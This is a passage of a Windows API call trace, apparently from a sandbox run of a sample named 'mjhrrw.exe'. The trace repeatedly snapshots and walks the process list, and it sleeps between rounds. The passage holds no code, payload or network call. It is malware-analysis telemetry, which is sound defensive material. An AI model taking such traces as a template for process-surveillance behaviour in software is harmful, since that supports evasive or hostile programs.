th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0259.711] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0259.711] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0259.712] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0259.712] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0259.713] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0259.714] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.714] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0259.715] Process32NextW (in: hSnapshot=0x398, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0259.715] CloseHandle (hObject=0x398) returned 1 [0259.715] Sleep (dwMilliseconds=0x1f4) [0260.806] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a0 [0260.813] Process32FirstW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.813] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0260.814] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0260.815] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.815] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0260.816] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.817] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0260.817] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0260.818] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0260.819] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0260.819] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0260.820] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.848] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.849] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0260.850] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.851] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.851] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.869] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.870] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.871] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.871] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.872] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.872] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.873] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.874] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0260.874] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.875] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0260.876] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0260.876] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0260.877] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0260.877] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0260.878] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.879] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0260.879] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0260.880] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0260.880] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0260.881] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0260.882] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0260.882] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0260.883] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0261.502] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0261.503] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0261.503] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.504] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0261.505] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0261.505] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0261.506] CloseHandle (hObject=0x3a0) returned 1 [0261.506] Sleep (dwMilliseconds=0x1f4) [0262.130] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x348 [0262.140] Process32FirstW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.141] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0262.142] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0262.143] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.143] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0262.144] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.145] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0262.145] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0262.146] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0262.147] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0262.148] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0262.148] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.149] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.150] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0262.150] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.151] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.151] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.154] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.155] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.156] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.156] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.157] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.158] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.159] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.159] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0262.160] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.161] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0262.161] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0262.162] 